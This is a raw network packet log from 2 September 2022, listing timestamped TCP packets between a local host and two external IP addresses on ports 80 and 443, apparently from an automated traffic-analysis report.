Sep 2, 2022 14:02:24.005520105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.005697012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005728960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005745888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.005778074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006067038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006093979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006117105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006145954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006725073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006751060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006767988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006787062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006792068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006802082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006817102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006829023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006836891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006858110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.006944895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006970882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.006987095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.007014036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.007368088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.007396936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.007443905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008112907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008173943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008198977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008215904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008234978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008245945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008250952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008265018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008282900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008289099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008311033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008325100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008328915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008330107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008383036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008418083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008488894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.008584976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008606911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008650064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008676052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008692026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.008754969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.009079933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009162903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009272099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009295940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009299994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.009336948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.009340048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009358883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009797096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009820938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009840012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.009959936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.010025978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.010052919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.010067940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.010071039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.010296106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.012655020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012729883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.012794971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012813091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012836933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012837887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.012860060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012876034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012897968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012922049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012938023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012948036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.012957096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.012957096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012984991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.012993097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013000965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013021946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013031960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013062954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013084888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013103962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013112068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013151884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013166904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013186932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013192892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013221979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013226032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013241053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013259888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013262987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013303041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013304949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013319016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013349056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013350010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013379097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013389111 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013395071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013422966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013423920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013459921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013485909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013500929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013542891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013606071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013627052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013660908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.013873100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013950109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.013972044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014008045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.014306068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014336109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014354944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014362097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.014384985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.014512062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014561892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.014564991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014581919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.014612913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015005112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015034914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015049934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015065908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015078068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015202045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015235901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015254974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015255928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015285969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015685081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015717030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015733004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015767097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015837908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015865088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015880108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.015882969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.015901089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.016613007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016709089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016727924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016762018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016773939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.016794920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016804934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.016809940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016854048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.016966105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.016999006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017013073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.017036915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.017045021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017115116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017221928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017237902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017268896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.017757893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017812967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.017826080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017849922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.017868996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.017956972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018022060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018042088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018080950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.018399000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018441916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018446922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.018461943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018481016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.018624067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018649101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018671036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.018690109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.018980026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019064903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019082069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019112110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019299030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019344091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019372940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019391060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019418001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019617081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019649982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019665003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019669056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019695997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019840956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019872904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019887924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.019889116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.019931078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.020162106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.020186901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.020204067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.020216942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.020232916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.042800903 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.042862892 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.042900085 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.042928934 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.163328886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163393021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163410902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163433075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163454056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163470030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.163471937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163537025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.163544893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.163703918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163822889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.163824081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163841963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.163862944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.164711952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164735079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164751053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164786100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.164808035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.164839983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164865017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164880991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.164901972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.165333986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165359020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165383101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165419102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.165440083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.165529013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165550947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165580034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.165616989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.166553020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166577101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166591883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166630983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.166676044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166707993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166722059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.166727066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.166835070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.167633057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167656898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167674065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167690992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.167705059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167725086 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.167742968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.167774916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167790890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.167831898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.168780088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.168874025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.169013977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169029951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169051886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169055939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.169075012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169085979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.169090986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169117928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.169878960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169905901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169920921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.169928074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.169943094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.170042038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170077085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170092106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170137882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.170871019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170897961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170912981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.170947075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.171013117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.171094894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.171108961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.171128988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172091007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172116995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172141075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172156096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172552109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172612906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172652006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172733068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172749043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172769070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172780037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172804117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172818899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172827005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172840118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172852039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172863960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172871113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.172879934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.172930956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.173448086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173501968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173517942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173546076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.173624992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173648119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173662901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.173669100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.173686028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.174067020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174093008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174108028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174155951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.174427986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174462080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174479008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.174485922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.174501896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:24.208940029 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.208995104 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.257510900 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.257543087 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.257627964 CEST	49801	443	192.168.2.6	87.240.132.78
